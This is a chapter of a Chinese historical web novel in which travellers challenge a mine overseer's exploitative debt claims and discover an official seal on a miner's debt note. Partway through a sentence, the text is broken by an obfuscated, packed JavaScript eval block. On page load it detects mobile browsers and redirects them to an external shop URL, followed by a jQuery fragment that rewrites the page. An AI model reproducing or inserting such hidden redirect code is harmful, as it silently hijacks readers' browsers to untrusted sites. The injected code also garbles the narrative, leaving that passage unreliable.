27. 第 27 章
作品:《古代世界生存实验手册v1.0》 老大夫早就习惯这套说辞,在炉口镇,炉口就是王法。他把一撮药材撒在秤盘上:“你们矿上的账,别在我这儿算,这里是医馆。”
杜掌柜脸上陪着笑,心里却悔不当初,自己就应该和小姐同乘一辆马车,当时就能劝阻。哪像那两个小子,小姐说什么就是什么。这登州的矿,从来就不是能讲理的地方。
辛圭看着管事鼻梁上的旧疤,突然问了一句:“你刚才说的欠,欠的是谁?”
管事觉得可笑:“当然是矿上。”
“矿上是谁?”辛圭追问:“是你?还是谁?还是那个炉口?”
她是真的不知道,想问清楚到底欠的谁,如何欠的,这才能解决问题,但这话到了管事的耳中就成了某种挑衅。
他眼神狠厉起来:“这哪儿有你说话的份儿?!人,我们得带走,不然,你们就帮他把欠的银子给了!”
他抬手就去拽榻上的矿工,方启星脚尖一错,先一步横在前头:“疤脸大哥,咱们事儿还没商量出个结果,怎么直接动起手了?”
管事骂道:“滚开!这地方,我说的就是王法,你和王法商量?”
“哦?”温麟趾淡淡开口:“登州离京城并不远,当地亦有自己的地方官,我倒不知,还有其他的王法。”
管事转头看温麟趾,见对方衣料并不华贵,冷笑一声:“站得倒是笔直。听着一肚子墨水,怎么?考不上秀才,只能出来跑商?”
温麟趾没答,问向老大夫:“他这口气,能吊多久?”
老大夫慢吞吞道:“药下去,能醒。但再回矿里,就当我没救过这个人。”
管事冷笑:“听见了?别装善心。如今我是给他一条活路,让他能回去还债,不然少了他一个,矿上照样有人干活。他死了还不上,让他家里人继续还。”
“他欠你们多少?”辛圭开口问道。
杜掌柜在旁闭上眼睛,对方这显然就是在讹人,看着有好心人,非得刮层皮下来不可。
还没等管事的狮子大开口,辛圭往前一步,挡在榻前:“你说他欠口粮,欠住宿。我可以出,但是——”她竖起三根手指:“第一,他今日倒下之前,扛过多少筐,可有记录?这个要算在抵账里。第二,你们矿上的口粮和住宿,是按照天扣还是按照筐扣,你有账吗?第三,他现在显然已经不能继续回去工作了,这不叫还债,叫抵命。”
老大夫抬眼打量辛圭,杜掌柜也愣了,因为知道他们这是糊涂账,也知道这就是矿上的情况,所以自然而然地就接受了管事的说辞,从一开始就站在对方的角度上思考了。
辛圭伸手摸出荷包:“他欠多少,你拿账来,我按账结,你拿不出来,就说明你就是想让他死,想让他家里人继续还糊涂账。”
管事盯着那荷包,眼神闪了闪,又笑了:“小姑娘,你以为这里是和你坐下来对账的地方?你一个外地的,你懂矿上停一个炉口损失多少吗?他现在不仅仅是欠我们银子,他还导致我们炉口开不了,这也要赔。”
“炉口停了吗?”辛圭认真问道。
管事脸色凝滞,恼道:“你少在这里胡搅蛮缠!他倒下,别人顶上。别人顶上,谁去顶别人的?矿上缺人,缺人就得罚!”
“所以炉口没停。”辛圭点点头,推断道:“既然炉口没停,你刚才说的就是在恶意抬价。”
“你——”管事脸色涨红,伸手就要抓辛圭。
温麟趾上前一步,握住管事的手腕,冷声道:“你若要银子,就按她说的,账拿来。你若要人,今日不给。”
管事手腕被他捏得生疼,龇牙咧嘴:“你你!你们影响矿场,我要去报官!”
“我陪你去报官。”温麟趾将他往后一推,说道。
管事闻言,眼底那点凶狠闪了闪:“你陪我报官?你以为衙门会帮你?炉口镇的衙门,也是靠这矿上吃饭,你们把矿上的人抬走,就是断人财路。断了财路,你猜谁先倒霉?”
杜掌柜脸色发白,连忙拱手:“管事爷,咱们和气生财,和气生财。我们这不是愿意出银子,也愿意赔不是。我们就是路过,打算休息整顿一下就走,咱们没必要搞得这么狼狈。万一以后有什么能互相帮上的机会,也算是相识一场。”
他一边说,一边悄悄去找辛圭袖子,示意她别再继续顶撞。
“晚了!”管事抖着自己刚才被抓疼的手腕,示意身后的人去请里正。“今天我要是让你们平安走了,以后这矿上的人能翻了天!”
几人僵在这儿,没过一会儿,一个腰杆挺硬的老人被半请半推的带进来。他穿的长衫比其他人都要好都要干净,山羊胡子挂在下巴,眼睛里透着几分精明。
管事一见里正来了,站在门口给他使了个眼色,转身冷笑着说:“里正来了,账也来了。大小姐,对账吧。”
里正抬眼看向辛圭,眼皮微微起皱,似乎是在掂量:“你们是哪家的?”
辛圭还没开口,温麟趾先一步说道:“路过的人。”
管事嗤笑:“路过的人,倒想管登州的天。”
里正拿过一叠纸,随手翻了两页,抽出来递给辛圭:“账在这儿,你们要怎么结?”
辛圭接过纸,欠条、口粮、住宿、工具折损,每一项都写得在理,但也隐隐藏着狠辣。按照上面的写法和利息的算法,就算是一个人不眠不休干上一辈子,也根本还不出那么多银子。
她翻到最后,突然停住。那页纸的角落,有一个印戳。
不是矿上的印,也不是里正的印,而是……
辛圭抬起头,一字一句地:“这张欠条上,为什么会有官印?”
里正在旁捋了把胡子,似乎早就料到她会这么问:“矿上不是不讲道理,也预料到这些人到时候总要耍心眼。矿上也不是接济灾民,定然要找官府做个中间证人,这才免得日后麻烦。不然矿上人来来去去,谁来管?也省得你们外乡人说我们欺负人。”
温麟趾拿过那张欠条端
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16870471|190874||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看,那方印并不是炉口镇的,甚至不是登州的,而是司金属下冶官的印。
司金属掌管天下铁物及矿产,冶官是分散在各矿区的直属官员。可这私人矿场的“卖身契”怎得会有冶官的官印?
“司金属冶官刘常”,他轻声念出官印上的名字。
刘常。
这一方小小的红色朱砂印,让他想起某个旧纸上的名字。那是一张军需单,弓箭那项里,盖得就是这个冶官的印。
“怎么?”里正笑笑:“这事儿,就算你去府衙上掰扯,也是赵三欠钱。欠债还钱,天经地义。”
他这话说得笃定,仿佛早就知道府衙会站在哪一边。
温麟趾的眼神冷了下来。
他意识到,这并非矿场的问题,也不是里正的问题,甚至不是冶官的问题。这是一条被人精心铺好的线。
铁矿、欠条、官印、府衙,层层相扣,把人压成可以随意填补的空缺。
而这条线,他见过。
在父亲出征前的军需清单里,在那场缺少补给的战役里,在那封轻描淡写的、父亲自戕的回报当中。
难怪他寻不到线索,原来线索都藏在这些细枝末节之处,你若站在和他们一样的“规制”里,便永远也看不见微毫。
他抬头看向里正:“既然如此,更应该去府衙看看了。”
辛圭敏锐地觉察到他的情绪场波动,有些不放心:“你……”
温麟趾看向她:“我随他去府衙一趟,你在这里待着。”说完,他又想到了什么,补充道:“我不会瞒着你,回来再告诉你。”
辛圭咬了咬唇,看了一眼榻上的赵三,又看向温麟趾:“我在这里等你。”
方启星将这一切都收入眼中,他“啧”了一声,嘱咐温麟趾:“你可别再给我乱上加乱,要是晚上你没回来,我可以考虑去府衙看看你。”
温麟趾淡声说道:“那就有劳了。”
说罢,他冲里正做了个请的手势:“我们一同去府衙。”
管事在旁讥讽:“看见没?这是个头铁的,不见棺材不落泪。”
直到他们走了,方启星这才走到辛圭身边,说道:“我的小姐,可不是不让你救人,只是你知道,有些事儿吧,救得了一个,救不了一群。他们又不是只抓着赵三一个薅,那一矿里面的人都是这样情况。”
杜掌柜也跟着点头:“这事儿和商州的柿子不同,咱们管不了。”
辛圭看向方启星,问道:“可是……不对的事情如果不加以纠正,整个都会坏掉的。”
“那就不是咱们的事儿了。”方启星往椅子上一坐,说道:“那是朝廷的事儿。咱们就是个小小商行,管不了这么多。”
“但那印鉴,不正是朝廷的官印吗?”辛圭说。
方启星看向辛圭,在她耳旁轻声说道:“也许有人,和你一样不愿意见到这样的事儿,也在想办法呢?如果他们不是想救一个赵三,是想救千百个赵三呢?”

